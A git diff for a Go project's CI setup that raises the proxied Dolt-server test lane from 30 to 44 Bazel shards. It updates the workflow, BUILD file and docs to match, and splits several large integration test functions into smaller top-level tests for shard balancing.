TestProxiedServerServeClaimNext -30 15 TestProxiedServerServeRefusesAStreamOnADisabledJournal -30 15 TestProxiedServerUnclaimIfAssigneeParity +44 15 TestProxiedServerCountIncludeInfra +44 15 TestProxiedServerDeleteForceOrphans +44 15 TestProxiedServerDuplicates +44 15 TestProxiedServerLabel +44 15 TestProxiedServerServeBatchClose -30 16 TestProxiedServerCascadeParity -30 16 TestProxiedServerExternalCreate -30 16 TestProxiedServerGraph -30 16 TestProxiedServerLabel -30 16 TestProxiedServerSwarm -30 16 TestProxiedServerTodo -30 16 TestProxiedServerUpdateConcurrentMetadata +44 16 TestProxiedServerHistoryRemoteSupportedFrontDoorParity +44 16 TestProxiedServerQuery +44 16 TestProxiedServerSQLDatabaseFlag +44 16 TestProxiedServerShowB +44 16 TestProxiedServerWispCreate -30 17 TestProxiedServerClose -30 17 TestProxiedServerClose3 -30 17 TestProxiedServerClose4 -30 17 TestProxiedServerConfigConcurrent -30 17 TestProxiedServerDeleteConcurrent -30 17 TestProxiedServerIfRevisionGuardUpdate -30 17 TestProxiedServerSearch -30 17 TestProxiedServerServeReadParity -30 17 TestProxiedServerStatus +44 17 TestProxiedServerDoltRemoteRemove +44 17 TestProxiedServerImport +44 17 TestProxiedServerLint +44 17 TestProxiedServerServeEdgeCounts +44 17 TestProxiedServerStatus -30 18 TestProxiedServerHeartbeat -30 18 TestProxiedServerMolBond -30 18 TestProxiedServerSQLDatabaseFlag -30 18 TestProxiedServerServeCount -30 18 TestProxiedServerUpdate2 -30 18 TestServerModeTypesAgreeWithCreate +44 18 TestProxiedServerCloseConcurrent +44 18 TestProxiedServerDep2C +44 18 TestProxiedServerEdit +44 18 TestProxiedServerIfRevisionGuardUpdate +44 18 TestProxiedServerSearch -30 19 TestProxiedServerCreate2 -30 19 TestProxiedServerEdit -30 19 TestProxiedServerIfRevisionGuardReopen -30 19 TestProxiedServerPourRejectsEnumViolatingVar -30 19 TestProxiedServerReassignFence -30 19 TestProxiedServerUpdateWisp -30 19 TestServerModeServe +44 19 TestProxiedServerServeClose +44 19 TestProxiedServerTypesAgreeWithCreate +44 19 TestProxiedServerUpdate2 +44 19 TestProxiedServerUpdateClosePolicy -30 20 TestProxiedServerExternalPolicyDirectParity -30 20 TestProxiedServerHistory -30 20 TestProxiedServerImport -30 20 TestProxiedServerMemory -30 20 TestProxiedServerMolCurrent -30 20 TestProxiedServerServeStreamsTheJournalItIsWriting +44 20 TestProxiedServerDeferAutoWake +44 20 TestProxiedServerEpic +44 20 TestProxiedServerIfRevisionGuardReopen +44 20 TestProxiedServerInitIfMissing +44 20 TestProxiedServerReopenB +44 20 TestProxiedServerUpdateIfGuards -30 21 TestProxiedServerDeleteWisp -30 21 TestProxiedServerDepConcurrent -30 21 TestProxiedServerListSortRetiresTheWalk -30 21 TestProxiedServerPrime -30 21 TestProxiedServerRelate -30 21 TestProxiedServerSetState -30 21 TestProxiedServerUpdateConcurrentAppendNotes +44 21 TestProxiedServerBlocked +44 21 TestProxiedServerCleanDatabases +44 21 TestProxiedServerConfig +44 21 TestProxiedServerMolShow +44 21 TestProxiedServerPing +44 21 TestProxiedServerServeActivatesTheEventsJournal -30 22 TestProxiedServerCompactHistory -30 22 TestProxiedServerGateLifecycle -30 22 TestProxiedServerKV -30 22 TestProxiedServerShow3 -30 22 TestProxiedServerStale -30 22 TestProxiedServerStatuses +44 22 TestProxiedServerCloseBeadGate +44 22 TestProxiedServerExternalPolicyDirectParity +44 22 TestProxiedServerFindDuplicates +44 22 TestProxiedServerReadyB +44 22 TestProxiedServerServeCreate -30 23 TestProxiedServerBackupRefusedOnExternalTopology -30 23 TestProxiedServerCloseSiblingBlockersFanIn -30 23 TestProxiedServerDeleteBlockedJSONSingleDoc -30 23 TestProxiedServerQuick -30 23 TestProxiedServerStorageClass -30 23 TestProxiedServerUpdateHooks -30 23 TestProxiedServerWispGC +44 23 TestProxiedServerCloseSiblingBlockersFanIn +44 23 TestProxiedServerMoleculeFrontDoorDirectServerProxyParity +44 23 TestProxiedServerPour +44 23 TestProxiedServerShow3 +44 23 TestProxiedServerUpdateConcurrentClaim -30 24 TestProxiedServerCreateInfraTypeRoutesToWisps -30 24 TestProxiedServerEpic -30 24 TestProxiedServerLink -30 24 TestProxiedServerMoleculeFrontDoorDirectServerProxyParity -30 24 TestProxiedServerRecomputeBlocked -30 24 TestServerModeServeSkipsPostRunMaintenance +44 24 TestProxiedServerLabelC +44 24 TestProxiedServerMemory +44 24 TestProxiedServerMolStale +44 24 TestProxiedServerServeUpdateClaim +44 24 TestProxiedServerSwarm -30 25 TestProxiedServerDeferUndefer -30 25 TestProxiedServerOrphans -30 25 TestProxiedServerServeClaim -30 25 TestProxiedServerShowWatch -30 25 TestProxiedServerUpdateIfGuards -30 25 TestProxiedServerWispCreateRejectsEnumViolatingVar +44 25 TestProxiedServerHeartbeat +44 25 TestProxiedServerMolLastActivity +44 25 TestProxiedServerReassignFence +44 25 TestProxiedServerStatuses +44 25 TestProxiedServerUpdateWisp -30 26 TestProxiedServerFindDuplicates -30 26 TestProxiedServerGateCheck -30 26 TestProxiedServerGateFrontDoorDirectServerProxyParity -30 26 TestProxiedServerGatedRendering -30 26 TestProxiedServerServeAddComment -30 26 TestProxiedServerServeSettingsWrites -30 26 TestProxiedServerState +44 26 TestProxiedServerGraph +44 26 TestProxiedServerMolBond +44 26 TestProxiedServerServeReadRevision +44 26 TestProxiedServerTodo +44 26 TestProxiedServerUpdateHooks -30 27 TestProxiedServerBlocked -30 27 TestProxiedServerIfRevisionGuardClose -30 27 TestProxiedServerMolLastActivity -30 27 TestProxiedServerMolStale -30 27 TestProxiedServerMoleculeFrontDoorWriteParity -30 27 TestProxiedServerServeActivatesTheEventsJournal -30 27 TestProxiedServerServeRefusesAStaleCheckpointWithGone +44 27 TestProxiedServerCreate2B +44 27 TestProxiedServerGateList +44 27 TestProxiedServerGatedRendering +44 27 TestProxiedServerReopenConcurrent +44 27 TestProxiedServerSQLStatementRouting -30 28 TestProxiedServerComment -30 28 TestProxiedServerExport -30 28 TestProxiedServerList -30 28 TestProxiedServerReopen -30 28 TestProxiedServerServeCreate -30 28 TestProxiedServerUnclaim +44 28 TestProxiedServerComment +44 28 TestProxiedServerMolProgress +44 28 TestProxiedServerServeCount +44 28 TestProxiedServerServeRemoveDependency +44 28 TestProxiedServerUpdateB -30 29 TestProxiedServerDeferAutoWake -30 29 TestProxiedServerDep -30 29 TestProxiedServerDepListSingleIDWarnsOnDroppedExternalEdge -30 29 TestProxiedServerHistoryRemoteRefusalFrontDoorMatrix -30 29 TestProxiedServerIfRevisionGuardDelete -30 29 TestProxiedServerTag -30 29 TestProxiedServerWispList +44 29 TestProxiedServerCreate2C +44 29 TestProxiedServerDep +44 29 TestProxiedServerDepConcurrent +44 29 TestProxiedServerServeSettingsWrites +44 29 TestProxiedServerWispCreateRejectsEnumViolatingVar -30 30 TestProxiedServerEventsJournalOffByDefault -30 30 TestProxiedServerMolSquash -30 30 TestProxiedServerPrune -30 30 TestProxiedServerPurgeWispsPlaneRetention -30 30 TestProxiedServerServeRelease -30 30 TestProxiedServerUpdateConcurrentClaim +44 30 TestProxiedServerDepListSingleIDWarnsOnDroppedExternalEdge +44 30 TestProxiedServerInfo +44 30 TestProxiedServerPrime +44 30 TestProxiedServerUpdateC +44 30 TestServerModeServeSkipsPostRunMaintenance + +44 31 TestProxiedServerCleanDatabasesPurgeDropped +44 31 TestProxiedServerGateLifecycle +44 31 TestProxiedServerPurgeWispsPlaneRetention +44 31 TestProxiedServerShow3B +44 31 TestServerModeDeferAutoWake + +44 32 TestProxiedServerClose3 +44 32 TestProxiedServerGC +44 32 TestProxiedServerList +44 32 TestProxiedServerReadyConcurrent +44 32 TestProxiedServerServeModeGate + +44 33 TestProxiedServerDeferUndefer +44 33 TestProxiedServerDepB +44 33 TestProxiedServerInitExplicitBeadsDirIsAuthoritative +44 33 TestProxiedServerMolBurn +44 33 TestProxiedServerOrphans + +44 34 TestProxiedServerChildren +44 34 TestProxiedServerHistoryRemoteRefusalFrontDoorMatrix +44 34 TestProxiedServerPromote +44 34 TestProxiedServerServeRelease +44 34 TestProxiedServerUpdate2C + +44 35 TestProxiedServerConfigConcurrent +44 35 TestProxiedServerReady2 +44 35 TestProxiedServerShow + +44 36 TestProxiedServerDep2B +44 36 TestProxiedServerGateCreateInheritsRepoMetadata +44 36 TestProxiedServerServeRefusesTheJournalWhenItIsDisabled +44 36 TestProxiedServerWispGC + +44 37 TestProxiedServerDeleteWisp +44 37 TestProxiedServerNote +44 37 TestProxiedServerReady +44 37 TestProxiedServerShowWatch + +44 38 TestProxiedServerBackupRefusedOnExternalTopology +44 38 TestProxiedServerCascadeParity +44 38 TestProxiedServerClose4 +44 38 TestProxiedServerReadyClaimConcurrent +44 38 TestProxiedServerReclaim + +44 39 TestProxiedServerGateCheck +44 39 TestProxiedServerLabelB +44 39 TestProxiedServerMoleculeFrontDoorWriteParity + +44 40 TestProxiedServerDeleteConcurrent +44 40 TestProxiedServerIfRevisionGuardAssign +44 40 TestProxiedServerReadyC +44 40 TestProxiedServerRelate + +44 41 TestProxiedServerMolCurrent +44 41 TestProxiedServerPrune +44 41 TestProxiedServerTypes +44 41 TestProxiedServerUnclaim + +44 42 TestProxiedServerClose +44 42 TestProxiedServerCompactHistory +44 42 TestProxiedServerState +44 42 TestProxiedServerUpdateConcurrentMetadata + +44 43 TestProxiedServerCloseB +44 43 TestProxiedServerConfigB +44 43 TestProxiedServerMultiStatementSQL + +44 44 TestProxiedServerExport +44 44 TestProxiedServerGateCheckB +44 44 TestProxiedServerListSortRetiresTheWalk +44 44 TestProxiedServerListWatchCountsTheOffsetIntoMaxRows +44 44 TestProxiedServerMolReadyGated +44 44 TestProxiedServerServeLifecycle diff --git a/.github/workflows/bazel.yml b/.github/workflows/bazel.yml index b3d13b0f6..5922cf041 100644 --- a/.github/workflows/bazel.yml +++ b/.github/workflows/bazel.yml @@ -1732,8 +1732,8 @@ jobs: # Like pr-risk.yml's proxied-server tier, "Test (Proxied Dolt Cmd N/15)", # as --config=doltserver-proxied: //cmd/bd:bd_proxied_test runs the shard # script, so shard k runs exactly that manifest entry's tests. This lane - # runs 30 shards of its own (.github/scripts/proxied-cmd-test-shards.txt's - # duration-balanced 30-block; see scripts/ci/proxied_test_durations.json), + # runs 44 shards of its own (.github/scripts/proxied-cmd-test-shards.txt's + # duration-balanced 44-block; see scripts/ci/proxied_test_durations.json), # not the legacy jobs' 15 — shard k here is not the same split as their # shard k. Same build as --config=doltserver (race bd_test, non-race # bd_for_tests), shared with bazel-doltserver through the remote cache. @@ -1793,35 +1793,15 @@ jobs: fi # Remote: each shard's Go timeout is its job's 15m, 1200s Bazel cap, - # plus a compile. scripts/ci/proxied_test_durations.json's 176 entries - # are each a clean, single-job (no concurrent heavy bazel/dolt job - # intentionally started on the box; see that file's header for its - # ambient-contention caveat), -test.parallel=4 top-level-test - # duration — the exact config this job uses — from a single fresh, - # manifest-aligned 30-shard sweep's own (errors="0", - # so a failing-but-complete suite's time is still trustworthy); every - # one of the 176 discovered tests completed inside its shard run, so - # no `bazel run` leaf-summation workaround was needed this time. See - # that file's header for the full methodology, including why an - # earlier -test.parallel=1 (serial) capture was replaced: serial - # timings don't model this lane (which always runs parallel=4), and - # an independent re-review measured near-zero correlation (r=0.08) - # between the serial-derived predicted shard load and actual - # parallel=4 wall time. - # - # Measured per-shard wall time for the full 30-shard local sweep that - # produced this data: shards ranged from roughly 32s to 341s, with - # most clustering well under this job's 25m step timeout / 30m job - # timeout. After repacking with these corrected weights, the LPT - # estimate clusters every shard within a few seconds of ~355-360s - # (sum of all 176 measured durations / 30 shards) — no single test or - # small group of tests dominates a shard the way the discarded serial - # data wrongly implied. This is a local, single-job measurement, not - # a verified RBE forecast (this job has only ever run remote); if a - # shard's RBE wall time diverges sharply from this local estimate, - # that is RBE throughput differing from local execution, not - # necessarily a regression — compare against this job's own recent - # run history before assuming a hang. + # plus a compile. The 44-shard block is LPT-packed by + # scripts/ci/proxied_test_durations.json, a rbe-west capture of each + # top-level test's summed leaf-test time (see its header). Packed to + # <=430 cost-seconds per shard, and a shard's wall time ran ~0.3x its + # packed cost on the lane's executors (-test.parallel=4), so shards + # are expected around 100-150s. Nearly all of that is `bd init + # --proxied-server` against the shard's dolt sql-server, ~one per + # subtest; a shard running far longer than its packed cost is worth + # comparing against this job's recent history before assuming a hang. - name: bazel test //... --config=doltserver-proxied id: test timeout-minutes: 25 @@ -1850,7 +1830,7 @@ jobs: run: >- python3 tools/bazel/check_shard_coverage.py --bep "$RUNNER_TEMP/bazel-bep.json" - --suite //cmd/bd:bd_proxied_test .github/scripts/proxied-test-shard.sh 30 + --suite //cmd/bd:bd_proxied_test .github/scripts/proxied-test-shard.sh 44 - name: Upload test logs if: ${{ failure() && steps.test.outcome != 'skipped' }} diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index a38bc8bd7..b5e03704f 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -1441,8 +1441,8 @@ sh_test( tags = ["embedded"], ) -# Runs 30 Bazel shards against the TestProxiedServer*/TestServerMode* -# functions, assigned by the manifest's 30-shard block (duration-balanced; +# Runs 44 Bazel shards against the TestProxiedServer*/TestServerMode* +# functions, assigned by the manifest's 44-shard block (duration-balanced; # see scripts/ci/proxied_test_durations.json), against this configuration's # (race) bd_test with BEADS_TEST_PROXIED_SERVER=1 and the non-race # bd_for_tests as the subprocess binary. This is a *different* shard count @@ -1499,7 +1499,7 @@ sh_test( # 192-core worker). "GOMAXPROCS": "4", }, - shard_count = 30, + shard_count = 44, tags = ["dolt-server-proxied"], ) diff --git a/cmd/bd/close_proxied_integration_test.go b/cmd/bd/close_proxied_integration_test.go index bbbcfba79..0e349f740 100644 --- a/cmd/bd/close_proxied_integration_test.go +++ b/cmd/bd/close_proxied_integration_test.go @@ -283,6 +283,14 @@ func TestProxiedServerClose(t *testing.T) { t.Errorf("close_reason: got %q, want %q", got, "wontfix") } }) +} + +// TestProxiedServerCloseB holds more of TestProxiedServerClose's cases, split +// off so the bd_proxied_test shard manifest can place them on another shard. +func TestProxiedServerCloseB(t *testing.T) { + requireSharedProxiedServer(t) + t.Parallel() + bd := buildEmbeddedBD(t) t.Run("close_with_comment_alias", func(t *testing.T) { t.Parallel() @@ -348,7 +356,6 @@ func TestProxiedServerClose(t *testing.T) { t.Errorf("expected 'not found' error, got: %s", out) } }) - } // TestProxiedServerClose3 is the second half of TestProxiedServerClose, @@ -754,6 +761,14 @@ func TestProxiedServerClose2(t *testing.T) { t.Errorf("expected single-issue error, got: %s", out) } }) +} + +// TestProxiedServerClose2B holds more of TestProxiedServerClose2's cases, split +// off so the bd_proxied_test shard manifest can place them on another shard. +func TestProxiedServerClose2B(t *testing.T) { + requireSharedProxiedServer(t) + t.Parallel() + bd := buildEmbeddedBD(t) t.Run("close_suggest_next_multiple_ids_fails", func(t *testing.T) { t.Parallel() diff --git a/cmd/bd/config_proxied_integration_test.go b/cmd/bd/config_proxied_integration_test.go index 745142fc0..8cd1092f7 100644 --- a/cmd/bd/config_proxied_integration_test.go +++ b/cmd/bd/config_proxied_integration_test.go @@ -165,6 +165,14 @@ func TestProxiedServerConfig(t *testing.T) { t.Error("expected test.removeme to be absent from config list after unset") } }) +} + +// TestProxiedServerConfigB holds more of TestProxiedServerConfig's cases, split +// off so the bd_proxied_test shard manifest can place them on another shard. +func TestProxiedServerConfigB(t *testing.T) { + requireSharedProxiedServer(t) + t.Parallel() + bd := buildEmbeddedBD(t) t.Run("config_get_missing_key", func(t *testing.T) { t.Parallel() diff --git a/cmd/bd/create_proxied_integration_test.go b/cmd/bd/create_proxied_integration_test.go index 743c51e92..3ce839369 100644 --- a/cmd/bd/create_proxied_integration_test.go +++ b/cmd/bd/create_proxied_integration_test.go @@ -183,6 +183,14 @@ func TestProxiedServerCreate2(t *testing.T) { t.Errorf("metadata: got %v, want key=value", m) } }) +} + +// TestProxiedServerCreate2B holds more of TestProxiedServerCreate2's cases, split +// off so the bd_proxied_test shard manifest can place them on another shard. +func TestProxiedServerCreate2B(t *testing.T) { + requireSharedProxiedServer(t) + t.Parallel() + bd := buildEmbeddedBD(t) t.Run("dry_run", func(t *testing.T) { t.Parallel() @@ -349,6 +357,14 @@ A new feature t.Errorf("source_repo: got %q, want %q", sourceRepo, "/path/to/repo") } }) +} + +// TestProxiedServerCreate2C holds more of TestProxiedServerCreate2's cases, split +// off so the bd_proxied_test shard manifest can place them on another shard. +func TestProxiedServerCreate2C(t *testing.T) { + requireSharedProxiedServer(t) + t.Parallel() + bd := buildEmbeddedBD(t) // RULING R1 (TestParityCreateOnOccupiedIDRefuses): `bd create --id` on an // occupied ID refuses with exit 1 and a fixed message, leaving the diff --git a/cmd/bd/dep_proxied_integration_test.go b/cmd/bd/dep_proxied_integration_test.go index df0a41546..b8b9a315d 100644 --- a/cmd/bd/dep_proxied_integration_test.go +++ b/cmd/bd/dep_proxied_integration_test.go @@ -224,7 +224,18 @@ func TestProxiedServerDep(t *testing.T) { t.Errorf("expected 'cycle' error: %s", out) } }) + }) +} +// TestProxiedServerDepB holds more of TestProxiedServerDep's Add cases, split +// off so the bd_proxied_test shard manifest can place them on another shard. +func TestProxiedServerDepB(t *testing.T) { + requireSharedProxiedServer(t) + t.Parallel() + bd := buildEmbeddedBD(t) + + t.Run("Add", func(t *testing.T) { + t.Parallel() t.Run("child_parent_antipattern", func(t *testing.T) { t.Parallel() p := newSharedProxiedProject(t, bd, "dpa8") @@ -379,7 +390,6 @@ func TestProxiedServerDep(t *testing.T) { } }) }) - } func TestProxiedServerDep2(t *testing.T) { @@ -550,6 +560,15 @@ func TestProxiedServerDep2(t *testing.T) { } }) }) +} + +// TestProxiedServerDep2B is the next slice of TestProxiedServerDep2's cases, a +// separate top-level test so the bd_proxied_test shard manifest can place it +// on its own shard. +func TestProxiedServerDep2B(t *testing.T) { + requireSharedProxiedServer(t) + t.Parallel() + bd := buildEmbeddedBD(t) t.Run("Tree", func(t *testing.T) { t.Parallel() @@ -635,7 +654,18 @@ func TestProxiedServerDep2(t *testing.T) { bdProxiedDep(t, bd, p.dir, "add", root.ID, dep.ID) _ = bdProxiedDep(t, bd, p.dir, "tree", root.ID, "--status", "open") }) + }) +} +// TestProxiedServerDep2C holds more of TestProxiedServerDep2's cases, split +// off so the bd_proxied_test shard manifest can place them on another shard. +func TestProxiedServerDep2C(t *testing.T) { + requireSharedProxiedServer(t) + t.Parallel() + bd := buildEmbeddedBD(t) + + t.Run("Tree", func(t *testing.T) { + t.Parallel() t.Run("format_mermaid", func(t *testing.T) { t.Parallel() p := newSharedProxiedProject(t, bd, "dpt7") diff --git a/cmd/bd/gate_check_proxied_integration_test.go b/cmd/bd/gate_check_proxied_integration_test.go index 633b854d5..bdc1051b1 100644 --- a/cmd/bd/gate_check_proxied_integration_test.go +++ b/cmd/bd/gate_check_proxied_integration_test.go @@ -126,6 +126,17 @@ func TestProxiedServerGateCheck(t *testing.T) { t.Errorf("expected 1 resolved after target close, got:\n%s", out) } }) +} + +// TestProxiedServerGateCheckB holds more of TestProxiedServerGateCheck's cases, split +// off so the bd_proxied_test shard manifest can place them on another shard. +func TestProxiedServerGateCheckB(t *testing.T) { + requireSharedProxiedServer(t) + t.Parallel() + bd := buildEmbeddedBD(t) + + const expiredTimeout = time.Hour + longAgo := func() time.Time { return time.Now().UTC().Add(-48 * time.Hour) } t.Run("bead_gate_resolves_when_seen_target_is_deleted", func(t *testing.T) { t.Parallel() diff --git a/cmd/bd/label_proxied_integration_test.go b/cmd/bd/label_proxied_integration_test.go index be84341cc..7cfd1d94d 100644 --- a/cmd/bd/label_proxied_integration_test.go +++ b/cmd/bd/label_proxied_integration_test.go @@ -230,6 +230,15 @@ func TestProxiedServerLabel(t *testing.T) { } } }) +} + +// TestProxiedServerLabelB holds more of TestProxiedServerLabel's cases, split +// off so the bd_proxied_test shard manifest can place them on another shard. +func TestProxiedServerLabelB(t *testing.T) { + requireSharedProxiedServer(t) + t.Parallel() + + bd := buildEmbeddedBD(t) t.Run("propagate_no_children", func(t *testing.T) { t.Parallel() @@ -382,6 +391,15 @@ func TestProxiedServerLabel(t *testing.T) { t.Errorf("expected both labels in text list, got:\n%s", out) } }) +} + +// TestProxiedServerLabelC holds more of TestProxiedServerLabel's cases, split +// off so the bd_proxied_test shard manifest can place them on another shard. +func TestProxiedServerLabelC(t *testing.T) { + requireSharedProxiedServer(t) + t.Parallel() + + bd := buildEmbeddedBD(t) t.Run("propagate_json", func(t *testing.T) { t.Parallel() diff --git a/cmd/bd/ready_proxied_integration_test.go b/cmd/bd/ready_proxied_integration_test.go index 758a62a64..69d83fcb7 100644 --- a/cmd/bd/ready_proxied_integration_test.go +++ b/cmd/bd/ready_proxied_integration_test.go @@ -238,6 +238,14 @@ func TestProxiedServerReady(t *testing.T) { envelope.Pagination.Total, s[start:]) } }) +} + +// TestProxiedServerReadyB holds more of TestProxiedServerReady's cases, split +// off so the bd_proxied_test shard manifest can place them on another shard. +func TestProxiedServerReadyB(t *testing.T) { + requireSharedProxiedServer(t) + t.Parallel() + bd := buildEmbeddedBD(t) t.Run("pagination_envelope_not_truncated", func(t *testing.T) { t.Parallel() @@ -409,6 +417,14 @@ func TestProxiedServerReady(t *testing.T) { t.Error("after re-fetch: Assignee empty (commit may not have persisted)") } }) +} + +// TestProxiedServerReadyC holds more of TestProxiedServerReady's cases, split +// off so the bd_proxied_test shard manifest can place them on another shard. +func TestProxiedServerReadyC(t *testing.T) { + requireSharedProxiedServer(t) + t.Parallel() + bd := buildEmbeddedBD(t) t.Run("blocked_issues_excluded_from_default_output", func(t *testing.T) { t.Parallel() @@ -536,7 +552,6 @@ func TestProxiedServerReady(t *testing.T) { t.Errorf("expected 'No molecules ready for gate-resume dispatch' text, got: %s", text) } }) - } func TestProxiedServerReady2(t *testing.T) { diff --git a/cmd/bd/reopen_proxied_integration_test.go b/cmd/bd/reopen_proxied_integration_test.go index 3d5884f11..68e667e73 100644 --- a/cmd/bd/reopen_proxied_integration_test.go +++ b/cmd/bd/reopen_proxied_integration_test.go @@ -291,6 +291,14 @@ func TestProxiedServerReopen(t *testing.T) { t.Errorf("status: got %q, want open", got) } }) +} + +// TestProxiedServerReopenB holds more of TestProxiedServerReopen's cases, split +// off so the bd_proxied_test shard manifest can place them on another shard. +func TestProxiedServerReopenB(t *testing.T) { + requireSharedProxiedServer(t) + t.Parallel() + bd := buildEmbeddedBD(t) // The other side of the category rule, and the same line the direct route // prints: a status that is neither done nor open is left alone and said so. diff --git a/cmd/bd/show_proxied_integration_test.go b/cmd/bd/show_proxied_integration_test.go index 32a914ce8..b518aac7d 100644 --- a/cmd/bd/show_proxied_integration_test.go +++ b/cmd/bd/show_proxied_integration_test.go @@ -218,6 +218,14 @@ func TestProxiedServerShow(t *testing.T) { t.Errorf("expected comments with --include-comments: %v", m) } }) +} + +// TestProxiedServerShowB holds more of TestProxiedServerShow's cases, split +// off so the bd_proxied_test shard manifest can place them on another shard. +func TestProxiedServerShowB(t *testing.T) { + requireSharedProxiedServer(t) + t.Parallel() + bd := buildEmbeddedBD(t) // ga-clgh: proxied path mirror of the direct-path fix (a2a69f5e9). The // proxied handler used to leave comments_omitted unset entirely, so a @@ -398,7 +406,6 @@ func TestProxiedServerShow(t *testing.T) { t.Errorf("expected title in output: %s", out) } }) - } func TestProxiedServerShow2(t *testing.T) { @@ -591,6 +598,14 @@ func TestProxiedServerShow2(t *testing.T) { t.Errorf("expected --refs output to contain referrer %s: %s", child.ID, out) } }) +} + +// TestProxiedServerShow2B holds more of TestProxiedServerShow2's cases, split +// off so the bd_proxied_test shard manifest can place them on another shard. +func TestProxiedServerShow2B(t *testing.T) { + requireSharedProxiedServer(t) + t.Parallel() + bd := buildEmbeddedBD(t) t.Run("show_refs_groups_by_type", func(t *testing.T) { t.Parallel() @@ -754,7 +769,6 @@ func TestProxiedServerShow2(t *testing.T) { t.Errorf("expected wisp child %s in --children: %s", childW.ID, out) } }) - } func TestProxiedServerShow3(t *testing.T) { @@ -887,6 +901,14 @@ func TestProxiedServerShow3(t *testing.T) { arr[0]["id"], arr[1]["id"], root.ID, reply.ID) } }) +} + +// TestProxiedServerShow3B holds more of TestProxiedServerShow3's cases, split +// off so the bd_proxied_test shard manifest can place them on another shard. +func TestProxiedServerShow3B(t *testing.T) { + requireSharedProxiedServer(t) + t.Parallel() + bd := buildEmbeddedBD(t) t.Run("show_thread_orphan_message_renders_alone", func(t *testing.T) { t.Parallel() diff --git a/cmd/bd/update_proxied_integration_test.go b/cmd/bd/update_proxied_integration_test.go index efea4da05..cb8c44735 100644 --- a/cmd/bd/update_proxied_integration_test.go +++ b/cmd/bd/update_proxied_integration_test.go @@ -213,6 +213,14 @@ func TestProxiedServerUpdate(t *testing.T) { t.Errorf("lost issue %s assignee = %q, want alice (unchanged)", lost.ID, gotLost.Assignee) } }) +} + +// TestProxiedServerUpdateB holds more of TestProxiedServerUpdate's cases, split +// off so the bd_proxied_test shard manifest can place them on another shard. +func TestProxiedServerUpdateB(t *testing.T) { + requireSharedProxiedServer(t) + t.Parallel() + bd := buildEmbeddedBD(t) // Parity with the non-proxied TestMultiIDUpdatePartialFailureExitsNonzero: // a generic per-ID failure (a bogus ID) between two good IDs must exit @@ -427,6 +435,14 @@ func TestProxiedServerUpdate(t *testing.T) { t.Errorf("dependent should be unblocked after blocker closes") } }) +} + +// TestProxiedServerUpdateC holds more of TestProxiedServerUpdate's cases, split +// off so the bd_proxied_test shard manifest can place them on another shard. +func TestProxiedServerUpdateC(t *testing.T) { + requireSharedProxiedServer(t) + t.Parallel() + bd := buildEmbeddedBD(t) t.Run("invalid_status_rejected", func(t *testing.T) { t.Parallel() @@ -560,7 +576,6 @@ func TestProxiedServerUpdate(t *testing.T) { before, after) } }) - } func TestProxiedServerUpdate2(t *testing.T) { @@ -685,6 +700,14 @@ func TestProxiedServerUpdate2(t *testing.T) { t.Errorf("ephemeral: got %d, want 0 after --persistent", ephemeral) } }) +} + +// TestProxiedServerUpdate2B holds more of TestProxiedServerUpdate2's cases, split +// off so the bd_proxied_test shard manifest can place them on another shard. +func TestProxiedServerUpdate2B(t *testing.T) { + requireSharedProxiedServer(t) + t.Parallel() + bd := buildEmbeddedBD(t) t.Run("update_ephemeral", func(t *testing.T) { t.Parallel() @@ -809,6 +832,14 @@ func TestProxiedServerUpdate2(t *testing.T) { t.Errorf("metadata[keep]: got %v, want %q", got["keep"], "yes") } }) +} + +// TestProxiedServerUpdate2C holds more of TestProxiedServerUpdate2's cases, split +// off so the bd_proxied_test shard manifest can place them on another shard. +func TestProxiedServerUpdate2C(t *testing.T) { + requireSharedProxiedServer(t) + t.Parallel() + bd := buildEmbeddedBD(t) t.Run("update_set_metadata", func(t *testing.T) { t.Parallel() @@ -933,7 +964,6 @@ func TestProxiedServerUpdate2(t *testing.T) { t.Errorf("defer_until: got nil, want non-nil (defer still applied)") } }) - } func TestProxiedServerUpdate3(t *testing.T) { diff --git a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md index 15ba5624c..93ec7f4cd 100644 --- a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md +++ b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md @@ -1041,7 +1041,7 @@ Required` requires them to have run remotely and passed. frozen 20-shard block was the retired `test-embedded-cmd` jobs' split, F1), `//internal/storage/embeddeddolt:embeddeddolt_embedded_test` (20; the frozen 5-shard block was `test-embedded-storage`'s, F1), - `//cmd/bd:bd_proxied_test` (30; the frozen 15-shard block was + `//cmd/bd:bd_proxied_test` (44; the frozen 15-shard block was `test-proxied-cmd`'s, F2) and `//internal/storage/dolt:dolt_server_full_test` (16) to have run exactly the tests its shard script lists (list-only mode, minus diff --git a/engdocs/TESTING.md b/engdocs/TESTING.md index 41efd4955..2f293a23b 100644 --- a/engdocs/TESTING.md +++ b/engdocs/TESTING.md @@ -42,7 +42,7 @@ Each lane, as bazel.yml runs it (add your `--config=fork-cache` or | Dolt server (`bazel-doltserver`) | `bazel test //... --config=doltserver` | Starts its own `dolt sql-server` from the pinned binary; no docker. | | cmd/bd Dolt server (`bazel-cmd-dolt`) | `bazel test //cmd/bd:bd_dolt_server_test --config=doltserver-cmd` | 32 shards of the integration-tagged cmd/bd suite (the slowest tests pinned to 16 of them). | | Embedded Dolt (`bazel-embedded`) | `bazel test //... --config=embedded` | Remote execution only in CI; locally it is slow. | -| Proxied server (`bazel-proxied`) | `bazel test //... --config=doltserver-proxied` | Remote execution only: 30 shards, each with a Dolt server. | +| Proxied server (`bazel-proxied`) | `bazel test //... --config=doltserver-proxied` | Remote execution only: 44 shards, each with a Dolt server. | | Server-Dolt storage (`bazel-server-storage`) | `bazel test //... --config=doltserver-integration` | Remote execution only. | | Docs | `make check-docs` | `//test/docsync:docsync_test` and `//scripts/repochecks:doc_freshness_test` in the test lane's configuration, then `scripts/check-doc-flags.sh` against the pinned release. | @@ -184,7 +184,7 @@ builds with the integration tag like `--config=integration`. Each shard runs its CI job's shard script, so for `--config=doltserver-integration` Bazel shard k runs the tests of job k+1 (both split the manifest's 16-shard block the same way). `--config=doltserver-proxied`'s `bd_proxied_test` instead -runs the manifest's own 30-shard block — bin-packed by measured duration, +runs the manifest's own 44-shard block — bin-packed by measured duration, not the legacy jobs' 15-shard, bd-init-cost-proxy block — so shard k there is not job k+1's tests; it is a different split of the same tests. diff --git a/scripts/ci/gen_proxied_shard_manifest.py b/scripts/ci/gen_proxied_shard_manifest.py index 